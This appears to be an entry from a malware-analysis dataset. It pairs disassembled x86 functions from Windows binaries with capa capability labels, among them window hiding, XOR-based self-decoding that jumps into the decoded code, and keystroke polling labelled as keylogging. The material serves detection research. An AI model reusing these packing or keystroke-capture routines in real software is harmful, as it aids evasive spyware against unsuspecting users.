joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451c0c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x451c23
add esp, 0xfffffff0
call fcn.004038a0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b5a8
mov eax, dword [0x456e0c]
cmp word [eax + 2], 0
jne 0x451c4b
mov eax, dword [0x456e0c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00453240
mov eax, dword [0x456e94]
cmp word [eax + 2], 0
jne 0x451c65
mov eax, dword [0x456e94]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00453438
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411608]
call fcn.0040350c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411608]
call fcn.0040350c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41d9f0]
call fcn.00424cf8
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x451dec
mov eax, dword [0x456d50]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004250c8
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4539a8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x456d50]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040a83c
test eax, eax
je 0x451d5a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408888
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040a864
test eax, eax
je 0x451d6e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404510
mov eax, dword [0x456c6c]
cmp byte [eax], 0
jne 0x451da2
mov eax, ebx
call fcn.00451f14
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00453b84
mov eax, ebx
call fcn.004544c4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x451de2
call fcn.004038f8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452188
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x457c28]
cmp dword [eax + 0x30], 0
je 0x452232
cmp dword [ebx + 0x94], 0
jne 0x45222c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x452118
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45222c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4521f2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45222c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413ca8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x452201
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x452d10
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x452d45
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404398
jmp 0x452d52
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042fc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x453d60
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x453da1
mov eax, esi
call fcn.0043a324
test al, al
je 0x453da1
mov eax, dword [ebx + 0x84]
call fcn.0043a020
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x453da1
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043a020
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4265a5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041f38f
and dword [ebp - 4], 0
cmp dword [0x4513b8], 0
mov ebx, eax
jne 0x426656
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x426707
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x426707
push eax
call fcn.0041f31d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4513b8], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4513bc], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4513c0], eax
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c8], eax
test eax, eax
je 0x426656
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c4], eax
mov eax, dword [0x4513c4]
cmp eax, ebx
je 0x4266ae
cmp dword [0x4513c8], ebx
je 0x4266ae
push eax
call fcn.0041f398
push dword [0x4513c8]
mov esi, eax
call fcn.0041f398
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4266ae
test edi, edi
je 0x4266ae
call esi
test eax, eax
je 0x4266a5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4266a5
test byte [ebp - 0xc], 1
jne 0x4266ae
or dword [ebp + 0x10], 0x200000
jmp 0x4266e7
mov eax, dword [0x4513bc]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4266e7
mov eax, dword [0x4513c0]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4513b8]
call fcn.0041f398
pop ecx
test eax, eax
je 0x426707
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x426709
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100100f1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov dword [esp + 4], 0x578f
cmp dword [esp + 4], 0x5898
push esi
push edi
jle 0x1001016f
push 0xe53
push 0
push 0x12d5
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor esi, esi
xor edi, edi
mov eax, edi
lea ecx, [esp + 0x10]
xor eax, esi
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001013e
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push 0
push 1
lea ecx, [esp + 0x18]
call fcn.100109ad
inc edi
cmp edi, 0x2865
jl 0x10010124
inc esi
cmp esi, 0x7845
jl 0x10010122
push 0xedf
call dword [sym.imp.USER32.dll_GetSysColorBrush]
cmp dword [esp + 0xc], 0x54ef
jge 0x10010184
push 0x10007af0
call fcn.100540b6
pop ecx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a454
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10069bd6
call fcn.10069380
sub esp, 0xc
push ebx
push esi
mov dword [ebp - 0x14], 0x29fa
xor esi, esi
cmp dword [ebp - 0x14], 0x2d94
push edi
mov dword [ebp - 0x10], esp
jle 0x1001a4cb
push 0x19af
push esi
push 0xc1a
push 0x1d06
push 0x15f3
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov edi, esi
mov ebx, esi
mov dword [ebp - 0x18], esi
lea eax, [esi + ebx]
mov ecx, 0x10613338
xor eax, edi
cdq
push edx
push eax
call fcn.1001050c
inc esi
cmp esi, 0x4613
jl 0x1001a49b
inc ebx
push 0
pop esi
cmp ebx, 0x54c8
jl 0x1001a498
inc edi
cmp edi, 0x386b
jl 0x1001a496
push 0x189f
push esi
push esi
push esi
push 0x1349
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x14], 0x2724
jge 0x1001a4fa
mov edx, 0x10008a08
mov ecx, 0x10613338
call fcn.10011fb6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022014
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1002203e
push 0x6d3e
push 0
push 0x474c
push 0x715f
call fcn.1003da05
add esp, 0x10
jmp 0x10022095
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1002206c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x10022095
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov esi, dword [eax]
push 0
mov ecx, dword [ebp - 0x1c]
call fcn.100106bf
mov dword [eax], esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002273e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002276a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push 0
push 0x40ea
push dword [ebp - 4]
push 0x7017
call fcn.1003cc34
add esp, 0x10
jmp 0x10022791
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10022789
push 0
push 0x1901
call dword [sym.imp.GDI32.dll_SelectObject]
jmp 0x10022791
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esp, ebp
pop ebp
ret
Function at 0x10024164
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10069e25
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100242e2
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x100242b2
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x28], 0x13ba
mov dword [ebp - 0x30], 0x100099d4
cmp dword [ebp - 0x28], 0x1689
jle 0x10024256
and dword [ebp - 0x18], 0
jmp 0x100241de
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3573
jge 0x10024256
and dword [ebp - 0x1c], 0
jmp 0x100241f4
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x26e7
jge 0x10024254
and dword [ebp - 0x20], 0
jmp 0x1002420a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1525
jge 0x10024252
and dword [ebp - 0x24], 0
jmp 0x10024220
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x4389
jge 0x10024250
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sar eax, cl
or eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
mov ecx, 0x10613338
call fcn.1001050c
jmp 0x10024219
jmp 0x10024203
jmp 0x100241ed
jmp 0x100241d7
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x10024270
push 0x26a7
push 0
push 0x1f48
call dword [sym.imp.USER32.dll_GetWindowTextA]
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x11a5
jge 0x1002428a
mov edx, dword [ebp - 0x30]
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x100242a6
or dword [ebp - 4], 0xffffffff
jmp 0x100242b0
jmp 0x100242e0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
push 0
mov ecx, dword [ebp - 0x44]
call fcn.100106bf
or dword [eax], 0xffffffff
mov eax, dword [ebp - 0x48]
mov dword [eax], 0xffffffff
jmp 0x10024308
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push 0
push dword [ebp - 0x50]
push 0x4bfa
push 0x172d
call fcn.100226fb
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100245ad
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10069e39
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0x19a2
mov dword [ebp - 0x20], 0x10009a54
cmp dword [ebp - 0x1c], 0x1a12
jle 0x10024640
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
and dword [ebp - 0x14], 0
jmp 0x100245fd
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x29c8
jge 0x10024640
and dword [ebp - 0x18], 0
jmp 0x10024613
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x2ed6
jge 0x1002463e
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
mov eax, edx
cdq
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
push dword [ebp - 0x24]
push dword [ebp - 0x28]
mov ecx, 0x10613338
call fcn.1001050c
jmp 0x1002460c
jmp 0x100245f6
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push 1
push dword [ebp + 0x18]
push 0x124a
push 0x4bd4
push dword [ebp + 8]
push dword [ebp + 0x10]
call fcn.100246b4
add esp, 0x20
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x169c
jge 0x1002467d
mov edx, dword [ebp - 0x20]
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x10024699
or dword [ebp - 4], 0xffffffff
jmp 0x100246a3
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100256e8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1002573a
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1002571a
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
jmp 0x10025738
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10025738
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10025760
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
push 0x22f
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0x7c9
push 1
call fcn.10022795
add esp, 0x14
mov esp, ebp
pop ebp
ret

Function at 0x10025cd2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10025d03
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push 0x13f0
push dword [ebp - 4]
push dword [ebp - 8]
push 1
call fcn.10025d2c
add esp, 0x10
jmp 0x10025d28
lea eax, [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10025d1d
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10025d28
push 0x2649
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov esp, ebp
pop ebp
ret
Function at 0x1003786c
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10037890
push 0
push 0x2bce
push 0x47be
call fcn.10038043
add esp, 0xc
jmp 0x100378ff
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100378b4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x100378ff
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x100378e2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x100378ff
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.100106bf
mov dword [eax], 0x9b54
jmp 0x100378d7
mov esp, ebp
pop ebp
ret

Function at 0x1003b37e
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1003b3ae
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
push 0x4138
push 1
push dword [ebp - 8]
push 0x6318
call fcn.1003b43f
add esp, 0x10
jmp 0x1003b43b
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1003b41d
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1003b3fe
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x1003b41b
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.100106bf
mov dword [eax], 0xc12a7b09
jmp 0x1003b3f3
jmp 0x1003b43b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1003b43b
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esp, ebp
pop ebp
ret
Function at 0x1003b9ad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1003ba7e
lea eax, [ebp + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1003ba31
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1003ba15
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x1003ba2f
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x20]
call fcn.100106bf
or dword [eax], 0xffffffff
jmp 0x1003ba0a
jmp 0x1003ba7c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x1003ba5f
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 3
jge 0x1003ba7c
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x34]
call fcn.100106bf
mov dword [eax], 0xc2923f8c
jmp 0x1003ba54
jmp 0x1003baa9
lea eax, [ebp + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x1003baa1
push 0
push 0
push 0x215a
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
jmp 0x1003baa9
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esp, ebp
pop ebp
ret
Function at 0x1003ce37
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006a2d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1003cf4f
lea eax, [ebp + 0x14]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x4971
mov dword [ebp - 0x20], 0x1000b20c
cmp dword [ebp - 0x1c], 0x4983
jle 0x1003ced0
and dword [ebp - 0x14], 0
jmp 0x1003ce8f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x4d48
jge 0x1003ced0
and dword [ebp - 0x18], 0
jmp 0x1003cea5
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x4f6d
jge 0x1003cece
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
push dword [ebp - 0x40]
push dword [ebp - 0x44]
mov ecx, 0x10613338
call fcn.1001050c
jmp 0x1003ce9e
jmp 0x1003ce88
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x47d1
jge 0x1003cef0
mov edx, dword [ebp - 0x20]
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x1003cf0c
or dword [ebp - 4], 0xffffffff
jmp 0x1003cf16
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x1003cf31
push 1
push 0xf41
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x1003cf4d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1003cf4d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x1003cf92
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
push 0x92b
push 0x6060
push 0
push 0x6d4a
push 0x22e1
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 0x7f30
push dword [ebp - 0x3c]
push 0xabd
call fcn.1003bea1
add esp, 0x28
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret